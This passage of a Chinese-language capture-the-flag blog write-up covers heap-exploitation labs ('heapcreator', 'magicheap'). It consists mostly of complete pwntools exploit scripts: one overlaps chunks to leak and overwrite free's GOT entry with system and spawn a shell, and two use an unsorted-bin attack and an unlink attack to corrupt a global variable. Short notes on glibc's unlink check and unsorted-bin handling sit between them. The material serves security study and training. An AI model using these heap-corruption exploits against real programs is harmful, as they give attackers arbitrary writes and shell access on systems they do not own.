context.terminal =['gnome-terminal','-x','sh','-c']
p = process('./heapcreator')

elf = ELF('./heapcreator')

def DEBUG(instruction,chose):
    if chose == 1:
        pwnlib.gdb.attach(p,instruction)
    else :
        pwnlib.gdb.attach(p)

def add(size,content):
    p.sendafter(':','1')
    p.sendafter(': ',str(size))
    p.sendafter(':',content)

def edit(index,content):
    p.sendafter(':','2')
    p.sendafter(':',str(index))
    p.sendafter(': ',content)

def show(index):
    p.sendafter(':','3')
    p.sendafter(':',str(index))
    return p.recvuntil('\nDone !\n',drop=True)

def delete(index):
    p.sendafter(':','4')
    p.sendafter(':',str(index))

def exit():
    p.sendafter(':','5')



add(0x18,'123')
add(0x10,'123')
payload = '/bin/sh\x00'+p64(0)+p64(0)+'\x41'
edit(0,payload)
delete(1)

add(0x30,'a'*0x10+p64(0)+p64(0x21)+p64(0x10)+p64(elf.got['free']))
recv=show(1)[-6:].ljust(8,'\00')
print hex(u64(recv))
free = u64(recv)
libc = LibcSearcher('free',free)
libcbase = free - libc.dump('free')
system = libcbase + libc.dump('system')
edit(1,p64(system))
delete(0)

p.interactive()

lab14

這是個unsortedbin的題,說實話,並沒有完全搞清爲什麼在這裏用不了unlink,爲什麼這裏free了small chunk後,small chunk直接進了unsort bin,還要好好研究。
在這裏先假定已經知道了free smallchunk後就直接進unsorted bin。。。

bck = victim->bk;
...
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

在這裏插入圖片描述
在這道題中就是把magic的值給改大一點,我們把unsorted_chunks (av) 賦給它既滿足要求。
exp

from pwn import *
from LibcSearcher import *
context.log_level='debug'
context.terminal =['gnome-terminal','-x','sh','-c']
p = process('./magicheap')
def DEBUG(instruction,chose):
    if chose == 1:
        pwnlib.gdb.attach(p,instruction)
    else:
        pwnlib.gdb.attach(p)

def add(size,content):
    p.sendafter(':','1')
    p.sendafter(': ',str(size))
    p.sendafter(':',content)

def edit(index,size,content):
    p.sendafter(':','2')
    p.sendafter(':',str(index))
    p.sendafter(': ',str(size))
    p.sendafter(': ',content)

def delete(index):
    p.sendafter(':','3')
    p.sendafter(':',str(index))

def exit():
    p.sendafter(':','4')

aim = 0x00000000006020E0
fd = aim-0x18
bk = aim -0x10
magic =0x00000000006020C0
instruction ='''
x/xg 0x00000000006020E0
'''
add(0x90,'1234')
add(0x90,'1234')
add(0x90,'1234')
delete(1)
payload = 'a'*0x90+p64(0)+p64(0xa1)+p64(0)+p64(magic-0x10)
edit(0,len(payload),payload)
#DEBUG(instruction,1)
add(0x90,'abcd')
p.sendafter(':','4869')
p.interactive()

經過對源碼的進一步學習,原因是自己對unlink的理解還沒到位,

 if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);

之前對這個檢查的理解是隻要讓fake chunk 的fd 和bk 分別滿足fd+0x18 ==bk+0x10 就行,但事實是要使*(fd+0x18) = p ,
*(bk+0x10)=p。之前並沒有掌握透徹unlink的知識點。還有糾正自己之前的一個誤區,small chunk、large chunk被free時,並不會直接進small bin、large bin,而是進了unsorted bin。。。附上一份unlink
exp

from pwn import *

context.log_level='debug'
context.terminal =['gnome-terminal','-x','sh','-c']
p = process('./magicheap')

def DEBUG(instruction,chose):
    if chose == 1:
        pwnlib.gdb.attach(p,instruction)
    else:
        pwnlib.gdb.attach(p)

def add(size,content):
    p.sendafter(':','1')
    p.sendafter(': ',str(size))
    p.sendafter(':',content)

def edit(index,size,content):
    p.sendafter(':','2')
    p.sendafter(':',str(index))
    p.sendafter(': ',str(size))
    p.sendafter(': ',content)

def delete(index):
    p.sendafter(':','3')
    p.sendafter(':',str(index))

def exit():
    p.sendafter(':','4')

aim = 0x00000000006020e0+0x8
fd = aim-0x18
bk = aim -0x10
magic =0x00000000006020C0
instruction ='''
x/xg 0x00000000006020E0
'''
add(0x90,'1234')
add(0x90,'1234')
add(0x90,'1234')
add(0x90,'1234')
payload = p64(0)+p64(0x91)+p64(fd)+p64(bk)+'a'*0x70+p64(0x90)+p64(0xa0)
edit(1,len(payload),payload)
delete(2)
DEBUG(instruction,1)
payload = 'a'*0x10+p64(magic)
edit(1,len(payload),payload)
edit(0,8,p64(0x2000))
p.sendafter(':','4869')
p.interactive()

lab15

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章